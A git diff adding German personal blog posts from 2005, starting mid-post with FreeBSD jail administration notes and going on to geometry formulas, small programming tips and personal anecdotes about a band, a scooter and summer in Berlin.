47auch `#define NNULLNODECACHE 16`. Also, wenn die zu kleinen Hashs deren einziges
48Problem sind... Ich habe aus der 16 eine 65536 gemacht, neuen Kernel gebaut und habe nun das
49basejail endlich per nullfs gemounted. (Zur Zeit laufen 12 Jails auf einer Testinstallation, die
50dann auf den neuen Server uebernommen wird.)
51
52Die Features des jail-scripts aus der `/etc/rc.d` sind zwar grossartig, aber echt
53unglaublich wirklich voll total mies dokumentiert. Die jails, die das System starten soll,
54traegt man space-separiert in der `/etc/rc.conf` in `jail_list="JAILNAME1
55JAILNAME2..."` ein. Dann macht man noch `jail_enable="YES"` an und beim Startup
56werden alle jails hochgefahren. Die Parameter dafuer traegt man in Variablen wie zum Beispiel
57`jail_JAILNAME_ip="10.1.1.200"` ein (nicht vergessen, der Netzwerkkarte auch die
58aliase fuer alle IPs zu geben). Punkte sind in den Variablen ungern gesehn, bei mir heisst das
59dann immer erdgeist_org, also spaeter auch
60`jail_erdgeist_org_option_enable="YES"`.
61
62Dann ist cool, dass jedes jail eine eigene fstab mitbekommt. Wer
63`jail_JAILNAME_mount_enable="YES"` anhat, kann beim jail Starten
64`/etc/fstab.JAILNAME` mounten lassen. Bei mir steht da naetuerlich
65`"/usr/jails/basejail /usr/jails/JAILNAME/basejail nullfs ro 0 0"`. Fertig ist der
66Lack. Wer `jail_JAILNAME_devfs_enable="YES"` (immer gern genommen mit
67`jail_JAILNAME_devfs_ruleset="devfsrules_jail"`, wegen der Sicherheit, wissenschon)
68anhat, findet auch gleich ein /dev im jail gemounted vor, aehnlich verhaelt es sich mit
69`jail_JAILNAME_procfs_enable="YES"` und
70`jail_JAILNAME_fdescfs_enable="YES"`.
71
72Das Verwalten der jails ist nun simpel, eigentlich haette das gleich vom rc.d-script mit
73erledigt werden koennen: Man legt sich ein `/etc/jails/` oder so an, in das man die
74config-Bloecke fuer jeweils ein jail zusammenfasst, also z.B.
75`/etc/jails/erdgeist_org` und schreibt in seine `/etc/rc.conf`
76`jail_list=`ls /etc/jails/``, und included danach `. /etc/jails/*`.
77
78Beim Erzeugen eines neuen jails kopiert man aus dem "newjail" mittels `mkdir
79/usr/jails/$JAILNAME &amp;&amp; cd /usr/jails/newjail &amp;&amp; find * | cpio -p -d -v
80/usr/jails/JAILNAME` das Skelett. `/etc/resolv.conf`,
81`/etc/rc.conf`, `/etc/passwd` und
82`/home/admin/.ssh/authorized_keys` im newail gleich zu bevoelkern macht sich auch
83immer gut, sonst vergisst man das. (Auch wichtig fuer den sshd: nicht vergessen, dass man im
84Hostsystem alle Services nur auf die IP des Hostsystems binden lassen sollte, sonst kann man das
85im Jail nicht mehr.) Danach erzeugt man (beispielsweise aus einer template-config) das File, was
86nach `/etc/jails/JAILNAME` soll. Ausserdem legt man die
87`/etc/fstab.JAILNAME` an. Done.
88
89Da wir `/usr/ports` mit dem basejail readonly gemounted haben (dadurch reicht es,
90einmal jede Nacht ein `cvsup` auf die ports im Hostsystem zu machen), muessen wir den
91jails sagen, dass sie die ports nicht in `/usr/ports/X/Y/work` sondern irgendwo
92anders bauen sollen, wo man schreiben darf, die distfiles koennen natuerlich auch nicht nach
93`/usr/ports/distfiles`. Das macht man in der `/etc/make.conf`. Bei mir
94steht da `WRKDIRPREFIX=/var/ports` und `DISTDIR=/var/ports/distfiles`. Das
95schreibt man am besten gleich ins newjail.
96
97Diese Vorgehensweise steht eigentlich auch dem Hostsystem gut. Man kann naemlich spielen alle
98work-directories und distfiles an einem zentralen Punkt loeschen: `rm -rf
99/var/ports/*` statt rekursivem `make distclean` oder `rm -rf
100*/*/work/` in `/usr/ports`. Eigentlich koennte man die distfiles zwischen den
101jails noch in einem unionfs teilen, aber erstens liest sich die Doku zu mount_unionfs NOCH
102entmutigender, als die von mount_nullfs und zweitens muesste fuer den Fall, dass korrupte
103distfiles rumliegen, immer ein hostsystem-Admin putzen kommen.
104
105Nun zum wirklich Betrieb der jails: Einzelne jails kann man mit `sudo sh /etc/rc.d/jail
106start JAILNAME` anstossen, die `jail_list` wird genommen, wenn man keinen
107jail-Namen angibt. Alle laufenden jails, inklusive ihrer jail-id kann man sich mit
108`jls` angucken. Nachtraeglich tasks an ein jail haengen geht mit `sudo jexec
109jail-id cmd`, wobei man da meist `/bin/csh` nimmt. Mit `sudo jexec jail-id
110ps auxw` kann man sich dann die laufenden Programme im jail angucken. Beim Traversieren der
111jail-Verzeichnisse (bei mir in /usr/jails) aus dem Hostsystem sollte man DRINGEND auf softlinks
112aufpassen. Gerne verpeilt werden `/usr/jails/JAILNAME/home -> /usr/home`, was einem
113Aerger mit den Homeverzeichnissen im Hostsystem einbringen kann und natuerlich
114`/usr/jails/JAILNAME/usr/bin -> /basejail/usr/bin`. Jail anhalten geht mit `sudo
115sh /etc/rc.d/jail stop JAILNAME`.
116
117Zu guter letzt noch ein paar Fallstricke: im jail geht ping nicht. Das liegt daran, dass man
118keine raw sockets aufmachen darf, da man in diese natuerlich jede IP als Source IP eintragen
119koennte und damit das Sicherheitskonzept der jails umginge. ping ist aber sehr nuetzlich. Das
120script `/usr/local/bin/jailping` bestehend aus `finger $*@HOSTSYSTEM`
121gepaart mit einem fingerd, der `read input; (ping ${input%^M} 2>&amp;1)` fuer
122Verbindungen aus den jails erlaubt, schafft Abhilfe. Am besten noch `alias
123ping='/usr/local/bin/jailping'`. Done.
124
125Hostname im jail aendern verbieten mit `jail_set_hostname_allow="NO"` in der
126`/etc/rc.conf`. Ein Sicherheitsfeature, was gern abgeschaltet wird (auch in meinem
127jail-Server, wegen der Datenbanken, die es brauchen), ist sysvipc.
128`jail_sysvipc_allow` und postgresql geht.
diff --git a/blog/2005/Lot.md b/blog/2005/Lot.md
new file mode 100644
index 0000000..e9b3d25
--- /dev/null
+++ b/blog/2005/Lot.md
@@ -0,0 +1,27 @@
1<!--
2.. date: 2005/03/14 18:46
3.. title: Lot
4-->
5
6Ein weiterer Eintrag in mein Notizblog, weil ich keinen Bock habe, das immer wieder neu von Hand auf
7Papier auszurechnen: fuer eine gegebene Strecke S(x0,y0)(x1,y1) und den Punkt P(xp,yp) berechnet man
8den Fusspunkt F des Lots von P auf S mit der folgenden Formel:
9<pre>
10q = (xp-x0)*(y1-y0)-(yp-y0)*(x1-x0)
11r = (y1-y0)*(y1-y0)+(x1-x0)*(x1-x0)
12x = xp+q*(y0-y1)/r
13y = yp+q*(x1-x0)/r
14</pre>
15Wenn man r um C vervielfacht, erhaelt man einen Punkt auf der Strecke P-F im Verhaeltnis 1:C.
16
17#### Update:
18
19Dasselbe funktioniert auch mit (x0,y0) als Stuetzpunkt und q als Koeffizient. Damit kann man ziemlich leicht
20sehen, wo (und ob ueberhaupt) auf der Strecke S der Fusspunkt des Lots auftrifft. In diesem Falle ist dann q/r im
21Interval [0,0..1,0]. Die Formeln:
22<pre>
23q = (x1-x0)*(xp-x0)+(y1-y0)*(yp-y0)
24r = (y1-y0)*(y1-y0)+(x1-x0)*(x1-x0)
25x = x0+q*(x1-x0)/r
26y = y0+q*(y1-y0)/r
27</pre>
diff --git a/blog/2005/Messlatte.md b/blog/2005/Messlatte.md
new file mode 100644
index 0000000..3354cb5
--- /dev/null
+++ b/blog/2005/Messlatte.md
@@ -0,0 +1,24 @@
1<!--
2.. date: 2005/02/10 03:26
3.. title: Messlatte
4-->
5
6Ich muss mich an dieser Stelle [mal wieder](http://www.zufallslink.com/) [outen](http://www.imdb.com/title/tt0097095/). Ich bin einfach noch nicht in der Blogosphere angekommen.
7
8[Tom](http://tomster.org/) wuerde jetzt diesen Eintrag in die [Meta-Kategorie](http://www.elfengrau.de/content/metaebene.htm) Blogging einsortieren. Aber ich bin anders. Ich schreibe dieses blog weiter von Hand, mit meinem [treuen Lieblingseditor](http://www.dentaku-museum.com/calc/calculator/small/pico/parts.html) und nicht dem [neumodischen Schnickschnack](http://plone.org/), oder [gar diesem Warmduschertool](http://wordpress.org/), welches ich [fuer Freunde](http://bolli.kiffer.de/) schon aufsetzen durfte und welches sich durch die [unselige Kombination](http://www.outofservice.com/country/) von [Pest](http://www.google.com/search?hl=en&lr=&safe=off&q=php+exploit&btnG=Search) und [Cholera](http://www.google.com/search?hl=en&lr=&safe=off&q=mysql+exploit&btnG=Search) auszeichnet.
9
10Genausowenig habe ich bisher eine [klare Linie](http://lists.ffii.org/pipermail/logsys-de/2001-April/002023.html) erkennen lassen wollen, was ich denn eigentlich hier will. Nicht, dass man bei mir [spannende Geschichten, die Weltgeschichte betreffend](http://frank.geekheim.de/), lesen koennte, oder [feingeistige Auseinandersetzungen](http://sushee.geekheim.de/) mit Feminismus, Aktionismus, [ BSD-ismus](http://outpost.h3q.com/blog/), oder, wie bei Tom, Buzzwordpropaganda. Ich habe keine Nische gefunden, wegen derer ich jemandem erklaeren koennte, mein Blog lesen zu muessen. Und [eigentlich](https://erdgeist.org/stats/blog/#2003_10_22_23_05_Metageschwafel) ist das auch gar nicht so schlecht. Ehrlich gesagt lebe ich in einer Schizophrenie, gar nicht wahrhaben zu wollen, dass Leute wirklich lesen, was ich hier zusammenkopiere. Und jedes Mal, wenn mich [Leute](http://www.google.com/search?q=auchblog) drauf ansprechen, broeckelt [dieser Selbstbetrug](http://www.orwelltoday.com/doublethink.shtml).
11
12Ich [verweigere](http://www.bamm.de/geloebnix/) mich diesem [Blinkiblitzi-Clickibunti-Bescheidsagmechanismen](http://www.amazon.co.uk/exec/obidos/ASIN/0596003838/202-3237439-3427801). Der Cryx hat mich zwar [syndiziert](http://outpost.h3q.com/erdgeist.rss), aber ich bin eher der Typ, der raus in den Regen zum Briefkasten tappt und sich freut, wenn ihm wer was geschrieben hat. Oder, da ich nicht mal die ueblichen Verdaechtigen Blog-Seiten gebookmarked habe und die URLs der Blogs brav per Hand eintipper, eher noch die Oma, die sich zu ihrem Schwarz-Weiss-Fernseher ohne Fernbedienung aus dem Sessel durchs halbe Zimmer hievt, um zu schauen, ob vielleicht [auf MDR](http://home.arcor.de/webcenter/achim/) was Spannendes kommt.
13
14Ich habe natuerlich auch mal mit professionellen [Low-End-Blogging-Tools](http://www.blosxom.com/) rumgespielt. Aber erstens zerschoesse ein Wechsel meine Perma-Links (auch wenn wohl eh keiner meine Eintraege verlinkt hat), zweitens wuerde ich durch solche Tools nichts gewinnen. Eine Comment-Funktion habe ich seit Jahren ueber smtp, und [oeffentliche Kommentare](http://www.saveenterprise.com/forum2/lofiversion/index.php/t2801.html) sind mir zu doof. Und im Webeditor Texte zu bearbeiten, fuehrt bei mir regelmaessig zu unvorsichtig getriggerten Page-Reloads mit komplettem Verlieren der Eintraege. Da lobe ich mir die screen+editor Kombination auf dem Server.
15
16Aber genug alter Mann gespielt. Ich habe 3 Filmempfehlungen: [Kontroll](http://www.kontrollfilm.hu/), [Verschwoerung im Berlin-Express](http://www.filmspiegel.de/filme/verschwoerungimberlin-express/verschwoerungimberlin-express_1.php) (beide bei ordentlich "Filmtheater am Friedrichshain-Sneak Preview"-Mischgetraenk und Popcorn genossen), sowie [Weltmarktfuehrer](http://www.weltmarktfuehrer-derfilm.de/fs_index.html), ein Film wie suess-saure Eier mit vielen leider nur allzuvertrauten Szenen unfreiwillig komischer Provinzmilliardaere.
17
18Mein Roller [stand ueber Winter](http://www.ibofox.de/html/jokers/Bilderb%25FCcher+ab+3/Warum+der+B%25E4r+nicht+schlafen+kann.htm). Er ist einfach so waehrend der Fahrt ausgegangen und sprang danach nicht wieder an. Nach mehreren Versuchen, Fahrzeuge zum Zur-Werkstatt-Hieven des Gefaehrts zu organisieren, habe ich beschlossen, eine [neue Werkstatt](http://www.piaggio-berlin.de/laden/friedrichshain.htm) auszuprobiern, zu der ich mein Moped hinschieben kann. Die Rechnung war einigermassen saftig: Bremsbelaege, Zuendkerze, anderthalb Stunden Arbeitszeit des Technikers, 115EUR. Gut, muss man verkraften, geht ja auch gern mal was kaputt. Der Grund dafuer, dass der Roller nicht fuhr, war aber wohl eine "schlecht zu erreichende Unterdruckleitung" und das Suchen dieses Fehlers haette wohl so lange gedauert. Bloed nur, dass ich gleich am naechsten Tag wieder stand. Selbes Problem: beim Fahren Roller ausgegangen, springt nicht mehr an. Auf meinen empoerten Anruf beim Roller-Scholz schickt mir Chefchen nen Mechanikerazubi, der mir kurz den offensichtlich rumbammelnden Unterdruckschlauch zeigt, wieder raufsteckt, mir empfiehlt, den doch vielleicht mal in der Werkstatt austauschen zu lassen und wieder wegfaehrt. Sauladen. Nicht mehr dahin!
19
20FYI: dieser Eintrag dauerte 01:51h.
21
22Nachtrag: Notizen... Unter MacOSX gibt es das Problem, dass man alle moeglichen Expose-Actions auf Tasten legen kann. Nur leider nicht "Lock-Screen". Hot Corners sind keine Option, zu oft komme ich mit der Mouse durch Zufall in den vier Ecken vorbei. Zum Glueck gibt es das eh coole Tool [ Quicksilver](http://quicksilver.blacktree.com/) (das Apple sowieso mal ins Betriebssystem integrieren muss) .. geht es eigentlich noch jemandem so, dass er verzweifelt vor einem FreeBSD oder Windows auf F9 rumkloppt, um die Fenster verschwinden zu lassen? .. aeh.. wo war ich? Richtig Quicksilver... in den [Extra Scripts](http://quicksilver.blacktree.com/plugins.php) ist auch "Lock Screen" dabei, welches man sich nun auf eine geneigte Taste (F12 erschien mir sinnvoll) mappen kann.
23
24Zweitens haben einige Betriebssysteme die unangenehme Eigenschaft entwickelt, per default termcaps auszuliefern, die beim Beenden von pagern oder vi oder aehnlichem den alten Inhalt/Zustand des Terminals wieder herstellen. Bloede Eigenart! Und schwerlich abzustellen. Hier ein paar links: [von less](http://www.greenwoodsoftware.com/less/#tite), [fuer MacOSX](http://www.macosxhints.com/article.php?story=2004122710403854) und [die terminfo man page](http://unixhelp.ed.ac.uk/CGI/man-cgi?terminfo+5).
diff --git a/blog/2005/Nerd_Fame.md b/blog/2005/Nerd_Fame.md
new file mode 100644
index 0000000..62c47e1
--- /dev/null
+++ b/blog/2005/Nerd_Fame.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2005/10/17 06:21
3.. title: Nerd Fame
4-->
5
6Endlich habe ich es geschafft, meine Fussstapfen in meinem Lieblings-OS zu hinterlassen: ein eigener [FreeBSD-Port](http://www.freebsd.org/cgi/ports.cgi?query=ezjail&stype=all). Und nicht nur ein Port irgendeines Programms,
7nein, in `/usr/ports/sysutils/ezjail` gibt es jetzt ein Script-Set, welches ich aus den Erfahrungen von [damals](https://erdgeist.org/stats/blog/#2005_08_05_03_03_KnastHorst) gebaut habe. Mit einer [ansprechenden Projektseite](http://erdgeist.org/arts/software/ezjail) und [den ersten
8Verlinkungen](http://www.fkimura.com/diary/?date=20051017) aus obskuren japanischen Blogs. Nun muss ich meine Projektseite schnell fertig hacken, bevor der grosse Nerdansturm clickt ;)
9
10UPDATE: Der Japaner fand wohl weniger das Projekt spannend, als meine License, er schreibt von "ezjail als seltene Beerware"... naja, wenigstens etwas
diff --git a/blog/2005/Notizblog.md b/blog/2005/Notizblog.md
new file mode 100644
index 0000000..fd87869
--- /dev/null
+++ b/blog/2005/Notizblog.md
@@ -0,0 +1,27 @@
1<!--
2.. date: 2005/01/22 02:40
3.. title: Notizblog
4-->
5
6Ich kann mir Dinge so schwer merken. Und ich habe es bis heute nicht geschafft, mir eine zentrale Instanz anzugewoehnen,
7an der ich all die Dinge hintue, an die ich eigentlich denken moechte. Also Termine (Geburtstage und sowas wie
8Verabredungen oder Deadlines), Kontaktinformationen, ne Todoliste, Fakten, die ich rausgefunden habe und total nuetzlich
9finde und bloss nicht vergessen moechte, Accountinformationen fuer so Bewag und Online-Banking und Konsorten, wem ich
10wieviel Kohle geliehen habe und bei wem ich in der Kreide stehe.
11
12Nunja, mein Communicator hat mir schon viel von der Arbeit abgenommen, ich hab da, in einem Anfall von zuviel Zeit, eine
13Todo-Liste angefangen. Weil die sich aber nicht zu Wort meldet, und Zeilen im Textfile sich nicht automatisch
14umpriorisieren koennen, aus Todos nicht von Zauberhand Termine werden und von-hand-formatieren eigentlich doof ist, wird
15es nur stiefmuetterlich behandelt. Zu konservierendes Wissen moechte ich in den doch eher fragilen Klappplasterechner
16auch nicht tun. Und bevor ich es in irgendeins der 30 Wikis tue, auf denen ich inzwischen Accounts habe und bei denen ich
17ganz sicher nichts wiederfinden werden, habe ich feierlich beschlossen, meinem Tagebuch hier (und damit auch dem
18Web-Archiv) Dinge zu fuettern, die ich spaeter bestimmt mal wieder brauche. Und vielleicht interessiert sich der eine
19oder andere auch dafuer.
20
21Als erstes nun die magische Kommandozeile, mit der man den gcc dazu veranlasst, alle preprocessor defines auszuspucken,
22die schon ohne eigenes Zutun mitgebracht werden: 'touch x.c; gcc -E -dD x.c; rm x.c'
23
24Und dann noch: was bei arithmetischen Shifts diskussionswuerdig ist, ist die Tatsache, dass negative Werte nach rechts
25geshiftet minimal -1 ergeben, positive Werte jedoch 0. Ich will die Diskussion hier aussen vor lassen. Merken wollte ich
26mir: "movs rx, rx, asr #shift \n\t adc rx, rx, #0". Das rundet und sorgt dafuer, dass aus der -1 beim rechts shiften eine
27null wird.
diff --git a/blog/2005/Offizieller_Sommer.md b/blog/2005/Offizieller_Sommer.md
new file mode 100644
index 0000000..9fbdf2a
--- /dev/null
+++ b/blog/2005/Offizieller_Sommer.md
@@ -0,0 +1,18 @@
1<!--
2.. date: 2005/05/27 20:02
3.. title: Offizieller Sommer
4-->
5
6Ich hab ja nun schon foermlich darauf gewartet, wann denn mal der Stoff ausgeht und ich uebers Wetter bloggen muss. Hier ist es nun also: es ist Sommer: man kann
7nachts ohne frieren mit kurzer Hose Moped fahren, man muss sich extra zwingen, seinen Mitmenschen in die _Augen_ zu gucken und Fruehstuecken in der Knalllesonne
8erinnert an die schoensten Urlaube. Hier sei mal das 3-Euro Fruehstueck-Brunch-Abendbrot-Angebot in der Boese Buben Bar in der Marienstrasse lobend erwaehnt.
9Sonnengarantie dank Suedseite.
10
11Und vollends Seele baumeln lassen geht [mit sonem Eis](http://www.dooyoo.de/bars-cafes-kneipen-national/die-kleine-eiszeit/) auf einem
12[![](http://erdgeist.org/stats/blog/pics/EinEis.jpg)](https://erdgeist.org/stats/blog/pics/EinEis.jpg) gemuetlichen Balkon.
13
14In der dazugehoerigen Wohnung lernte ich dann auch den folgenden Fakt fuer das Notizblog: wenn jemand einen T-Online-Account auf einem nicht-Telekom-Router
15einstellen moechte, geht das so: man nehme alle Zahlen, die auf dem Username/Passwort-Zettel von der Telekom stehen (ausser das Passwort natuerlich), haenge sie
16(von oben nach unten) aneinander, haenge ein @t-online.de dran und los gehts. (Im Idealfalle sollte dies die Zugangskennung, die T-Online-Nutzerkennung und die
17Mehrere-Benutzer-ID, normal 0001, sein). Weil ichs nicht aufgeschrieben hab, und natuerlich vor dem Netz einrichten auch kein Netz, musste ich dann mal ne
18Bluetoothverbindung bemuehen und ueber 9600 (gute Alte Zeit) googlen.
diff --git a/blog/2005/One_more_thing.md b/blog/2005/One_more_thing.md
new file mode 100644
index 0000000..9332d50
--- /dev/null
+++ b/blog/2005/One_more_thing.md
@@ -0,0 +1,8 @@
1<!--
2.. date: 2005/07/08 14:19
3.. title: One more thing
4-->
5
6Als der Cryx verzweifelt versuchte, alle "mal Kaffee trinken gehen"-Zusagen in seinem iCal unterzubringen, zusammen mit Arbeit, Veranstaltungen und Urlaub, kam
7mir _DIE_ grandiose Idee, wie Apple das Produkt massgeblich verbessern koennte: [![](http://erdgeist.org/stats/blog/pics/iCalShuffle.jpg)](https://erdgeist.org/stats/blog/pics/iCalShuffle.jpg) iCalShuffle. Ueber die genaue Implementation will
8ich hier nicht zuviele Worte verlieren, macht viel zu viel Spass, sich das selber auszudenken.
diff --git a/blog/2005/Quartalsblogger.md b/blog/2005/Quartalsblogger.md
new file mode 100644
index 0000000..7e6ce97
--- /dev/null
+++ b/blog/2005/Quartalsblogger.md
@@ -0,0 +1,47 @@
1<!--
2.. date: 2005/04/22 03:30
3.. title: Quartalsblogger
4-->
5
6[Fruehling rockt!](http://www.divers-travel-guide.com/Oben_Ohne.htm) Die [Grillsaison](http://www.rtl.de/ratgeber/haus_856596.php) hat
7wieder begonnen, das [neue
8Semester](http://www.dshs-koeln.de/pressestelle/Erstis_04_05/Erstis_WS_04_47.jpg) hat neuen Schwung in meine muede gewordenen [Gehirnzellen](http://tiger.towson.edu/users/tammer1/Deutschland.html)
9gepumpt, die [Band](http://www.pumpanickle.de/) entwickelt sich langsam in Richtung etwas [Ernst](http://www.sueddeutsche.de/,tt3m1/panorama/artikel/902/50852/)zunehmendem.
10
11Ich habe [Funny](http://www.funny-van-dannen.de/) [live in Kiel](http://www.kiel4kiel.de/kiel4kiel/artikel7466.html) gesehen und daraufhin
12das Wochenende an [Straenden der Ostsee](http://www.srilanka-tsunami-relief.com/) bei Fastsommer verbracht. Ich war sogar schon wieder einmal [Badminton](http://www.lilly-valley.ca/Facilities.htm) spielen, obwohl sich der Grossteil meiner ueblichen Gegner [schwere Hufschaeden](http://www.kruenitz1.uni-trier.de/xxx/h/kh04962.htm) zugezogen hatten. In einem [beispiellosen Kraftakt](http://www.traderguide.de/images/gewichtheber.jpg) ist zudem der [Viertelpfuender](http://www.ccc.de/updates/2005/ds86) entbunden worden. Die letzten Eintraege hier im Blog zeugen aber auch von interessanten [Taetigkeiten](http://www.pfeil-bogen.de/) an beruflicher Front. Und ich bekomme an [seinem Geburtstag](http://outpost.h3q.com/blog/) ["Titten"-DSL](http://www.alice-dsl.de/) nach hause.
13
14Die Meldungen im Einzelnen: Morgen bestreitet meine Band mit mir unser erstes Konzert vor komplett fremden Publikum. Wir werden in [Neuruppin als Vorband](http://www.inforiot.de/termine.php) versuchen, (zumindest fuer uns) [soviel Spass wie moeglich](http://www.tsv2000rothenburg.de/Project/Rueckblick/Schulband.jpg) herauszuschlagen. Ich bin nun auch schon [amtlich aufgeregt](http://www.rxlist.com/cgi/generic/diazepam.htm), zu aufgeregt, um mich gerade noch ernsthaft aufs
15Programmieren zu konzentrieren.
16
17Letztes Wochenende haben wir durch diverse glueckliche Schicksalsfuegungen einem Filmstudenten beim Dreh eines Videoclips aushelfen duerfen, dem die
18eigentlich dafuer vorgesehene Band abgesprungen war. Ueber die Ergebnisse werde ich mich bestimmt noch elaborieren.
19
20Das erste Konzert im Knaack im Zuge des Emergenza-Festivals war grandios. Nicht nur, dass ich trotz genau ALLER technischer Probleme, die einem
21Gitarristen so widerfahren koennen, in ... nennen wir es hoeflich "stoischer Ruhe" meinen "Gesang ja eigentlich auf den Basssoli" (Zitat
22Konkurrenzband) weitergefuehrt, den Bonbonregen zum Geburtstagslied weder adaequat angekuendigt noch sinnvoll um die Buehnenscheinwerfer herum ins
23Publikum gelenkt hab. Nein! Wir mussten uns trotz eines umwerfenden Fanblocks mit dem zweiten Platz begnuegen. Trotzdem hat es eine Mordslaune
24gemacht und eigentlich mag ich dieses Gefuehl gar nicht missen. Mal sehen, wie morgen wird. Dank an meine Muse und dank auch an die Chefin des
25Fanclubs :) Inzwischen gibt es auch [offizielle Bekleidung](http://www.spreadshirt.de/shop.php?sid=57069) fuer den eingefleischten Anhaenger.
26
27[Adlershof.](http://www.adlershof.de) Synonym fuer studiumsfreundliche Campusgestaltung. Und fuer das Mass eines Halbtagsjobs
28wieder Domizil an vier Tagen die Woche ab frueh um neun. Oh feierliche liebgewonnene Riten, ewiger Pathos der Erstis, ewiger Zynismus der
29Langzeitstudenten. Koestliche Mensaverpflegung, aufregende Konnektivitaet des oeffentlichen Personennahverkehrs. Wie hab ich dies alles vermisste.
30Inzwischen darf ich wieder Doktoren im Eifer, den ich noch aus meiner Jugend kenne, dabei zuhoeren, wie sie ihre liebgewonnene
31Programmiersprache gegen eine andere verteidigen und ich ertappe mich mit roten Ohren, wie platt doch fuer Aussenstehende diese ewigen [Pimmelfechtereien](http://www.pimmelfechter.de/) um solch lapidare Probleme, ausgetragen mit laecherlichen Halbwahrheiten, klingen
32muessen.
33
34Generell scheint mir Pragmatismus ein unterschaetztes Gut zu werden. Ich erlebe, dass noch bevor ein Problem vollstaendig formuliert wurde, die
35Programmiersprache festgelegt wird, Paradigmen formuliert werden, die dringend einzuhalten sind und man schon vier Meinungen Umstehender
36aufgedraengt bekommt, warum es aus diesem oder jenen Grund unsicheren ineffizienten oder zumindest unschoenen Code ergeben muesste, ganz gewiss
37aber welcher in der grundfalschen Programmiersprache. Mir ist immer staerker bewusst geworden, dass Software in allererster Linie ein
38gegebenes Problem loesen soll. Sie darf nicht zum Selbstzweck verkommen, solange es nicht ausdruecklich aus kuenstlerischen Gruenden so gewollt
39ist. Und so habe ich mich sogar dazu hinreissen lassen, ohne, dass es mir auch nur im geringsten peinlich ist, einem [Kumpel](http://hukl.geekheim.de) bei [seinem Problem
40in PHP](http://hukl.geekheim.de/archives/2005/04/15/test-2/) zu helfen, obwohl ich weder in Perl im Allgemeinen, noch dem Blogsystem im Besonderen, bewandert bin. Ich habe es geloest, unschoen,
41gewiss, aber effizienter, als die Software, aus der ich geklaut habe, und mehr noch: das Programm tut, was Software tun soll: es erfuellt seinen Zweck. - Aber
42genug generdet fuer den Moment.
43
44Die anderen Vorlesungen beschaeftigen sich mit mobiler Kommunikation, (von ARP ueber GSM bis VoIP alles dabei), Approximativen Algorithmen,
45Signalverarbeitung und Geschichte der Kryptographie. Mopedfahrn macht frueh morgens bei Temperaturen nahe dem Gefrierpunkt noch weniger Laune,
46als tagsueber im Winter, in dem man ja nun weiss, woran man ist. Zumindest wird man an den Ampeln mit strahlendster Fruehlingssonne belohnt. Fruehling rockt
47DOCH irgendwie.
diff --git a/blog/2005/Rekreation.md b/blog/2005/Rekreation.md
new file mode 100644
index 0000000..4b2ee7e
--- /dev/null
+++ b/blog/2005/Rekreation.md
@@ -0,0 +1,9 @@
1<!--
2.. date: 2005/08/09 16:50
3.. title: Rekreation
4-->
5
6Es wird ein heisser Sommer werden. Neben dem [Serverumzug](https://erdgeist.org/stats/blog/#2005_08_05_03_03_KnastHorst) und meinem Umzug
7nach Prenzlauer Berg (Ja!, ich kehre dem Friedrichshain den Ruecken), werde ich noch ein wenig [Waldbrandgucken](http://www.foodsiteoftheday.com/portugal%20algarve2.jpg) fahren. Los gehts
8direkt nach dem [Gig in der C-Base](http://b-oss.in-berlin.de/coredump/OpenStage) fruehs um
96 von Schoenefeld. Ich melde mich, wenn die Gefahr vorrueber ist.
diff --git a/blog/2005/Schnitte.md b/blog/2005/Schnitte.md
new file mode 100644
index 0000000..1e4b1f7
--- /dev/null
+++ b/blog/2005/Schnitte.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2005/04/11 19:11
3.. title: Schnitte
4-->
5
6Im Matheunterricht war das mit dem Schnittpunkte berechnen immer total popelich. Man hat schnell mal so Anstiege berechnet, oder abgeschaetzt, dass diese oder jene Gerade weil senkrecht ja einfach nur Einsetzen in die
7Geradengleichung der Anderen bedeutet.
8
9Nunja. Im wahren Leben ;) hilft einem das Augenmass nicht. Gegeben sind 4 Punkte (x0|y0), (x1|y1), (x2|y2), (x3|y3). Diese bilden die Geraden A(P0,P1) und B(P2,P3). Bestimme den Schnittpunkt S(sx|sy) der Geraden. Loesung:
10<pre>
11n1 = y0*(x2-x3)+y2*(x3-x0)+y3*(x0-x2)
12n2 = (y1-y0)*(x3-x2)+(y3-y2)*(x0-x1)
13sx = x0 + n1*(x1-x0)/n2
14sy = y0 + n1*(y1-y0)/n2
15</pre>
16Hierbei ist n2 gleich ne Determinante: ist sie kleiner null, ist A->B eine Linkskurve, ist sie gleich null, sollte man nicht dividieren, weil die Geraden parallel sind und der Taschenrechner "E" ausgeben wuerde. Ist n2 groesser null, hat man von A->B eine Rechtskurve.
diff --git a/blog/2005/Signale.md b/blog/2005/Signale.md
new file mode 100644
index 0000000..46b6cf5
--- /dev/null
+++ b/blog/2005/Signale.md
@@ -0,0 +1,8 @@
1<!--
2.. date: 2005/05/26 17:00
3.. title: Signale
4-->
5
6Ein Gebiet der Informatik, um das ich mich bisher rumgeschlaengelt habe, ist Signalverarbeitung. Ich hatte eine naive Vorstellung davon, wie das mit dem Sampeln so funktioniert, hab grob an den Knoepfchen von Softwareequaliziern herumgespielt und beobachtet, was passiert. Aber in der [Vorlesung Grundlagen der Signalverarbeitung](http://www.informatik.hu-berlin.de/Institut/struktur/signalverarbeitung/lehre/sv0.htm) an der Uni hatte ich mich mit einer vier durchgemogelt, weil ich wohl spannendere Dinge zu tun hatte. Was ich eigentlich schade fand, weil Prof. Meffert eine angenehme Art hat, Dinge zu erklaeren.
7
8Da mich das Thema aber eigentlich doch interessiert, habe ich mir [ihr Buch](http://www.amazon.de/exec/obidos/ASIN/3827370655/qid%3D1117120744/028-7833638-9212524) geshoppt und ehrlich und ernsthaftig versucht, den Inhalt zu verstehen. Leider ist das ohne die begleitende Vorlesung gar nicht so leicht. Gluecklicherweise ist mir bei der Recherche nach einigen Techniken der Signalverarbeitung [dieses coole, kostenlose und verstaendliche Buch](http://www.dspguide.com/pdfbook.htm) in die Haende gefallen. Mit vielen vielen Bildern, fuer Techies und nicht fuer Mathematiker gedacht, einfuehlsam erklaert. Nun kann ich das mit der Fouriertransformation endlich.
diff --git a/blog/2005/Spam.md b/blog/2005/Spam.md
new file mode 100644
index 0000000..44a9c42
--- /dev/null
+++ b/blog/2005/Spam.md
@@ -0,0 +1,11 @@
1<!--
2.. date: 2005/12/18 14:14
3.. title: Spam
4-->
5
6Kommen, sie! Kommen sie, kaufen sie! Eintrittskarten fuer [die fruehste Band der
7Welt](http://pumpanickle.de/), die auf ihrer Welttourne in Berlin gastiert, genauer gesagt: am Montag dem 19.12.2005 in [der Junction Bar in Berlin](http://www.junction-bar.de/junction/index1.htm). Es gibt dutzende neuer Lieder,
